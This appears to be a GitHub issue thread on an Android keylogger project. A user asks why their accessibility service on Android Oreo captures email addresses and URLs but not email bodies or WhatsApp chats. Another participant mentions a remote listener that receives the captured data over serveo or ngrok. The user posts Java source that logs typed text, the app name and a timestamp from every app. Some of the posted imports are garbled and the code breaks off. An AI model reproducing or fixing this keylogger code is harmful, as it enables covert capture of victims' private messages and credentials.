Oreo- text change within apps not working

[jatayu86]

Hi ,
Has this been tested in Oreo 8.0 or 8.1?I can find that only some text change events get triggered.For eg, open Gmail and compose a new mail, the 'To address' text gets logged, but the body text isn't .Similarly with other apps like watsapp. Do we have any kind of workthrough?

[vanshsantoshi]

Have you set up the Listener on your own phone ? (Like using serveo or ngrok) If yes , your phone can't handle too many requests , so most of the data aren't logged

[vanshsantoshi]

I think it should log everything
I believe there must be some mistake / problem on your Listener side , can you give me details ?

[jatayu86]

I think it should log everything
I believe there must be some mistake / problem on your Listener side , can you give me details ?

There is no listener, the issue was simulatable both in emulator and phone using Oreo.The TYPE_VIEW_TEXT_CHANGED is not triggered for items like body of email,chats. Trigger of the 'To' email address,browser url data comes up fine as events.

PS: All these work fine for Android Q. For Pie nothing is triggered.

    <service android:name=".MyAccessibilityService" android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
        <intent-filter>
            <action android:name="android.accessibilityservice.AccessibilityService" />
        </intent-filter>
    </service>
</application>
<uses-sdk android:minSdkVersion="19" android:targetSdkVersion="27" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />

Accessibility service:

import android.os.Bundle;
import org.apache.cordova.;
import android.accessibilityservice.AccessibilityService;
import android.accessibilityservice.AccessibilityServiceInfo;
import android.content.Context;
import android.provider.Settings;
import android.text.TextUtils;
import android.util.Log;
import android.view.WindowManager;
import android.view.accessibility.AccessibilityEvent;
import java.io.;
import java.util.*;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.List;

public class MyAccessibilityService extends AccessibilityService {
private static Context context;
long tStart = System.currentTimeMillis();
public void onCreate() {
super.onCreate();
MyAccessibilityService.context = getApplicationContext();
}
public static Context getAppContext() {
return MyAccessibilityService.context;
}
@OverRide
public void onAccessibilityEvent(AccessibilityEvent event) {
final int eventType = event.getEventType();
String eventText = null;
switch(eventType) {
case AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED:
Calendar c = Calendar.getInstance();
SimpleDateFormat df = new SimpleDateFormat("dd-MM-yyyy HH:mm:ss");
String formattedDate = df.format(c.getTime());
final String sourcePackageName = (String) event.getPackageName();
eventText = formattedDate+" in ["+sourcePackageName+"]>>>>";
break;
}
List text = event.getText();
CharSequence latestText = (CharSequence) text.get(0);
eventText = eventText + latestText;
System.out.println("ACCESSIBILITY SERVICE : "+eventText);
appendLog(eventText);
}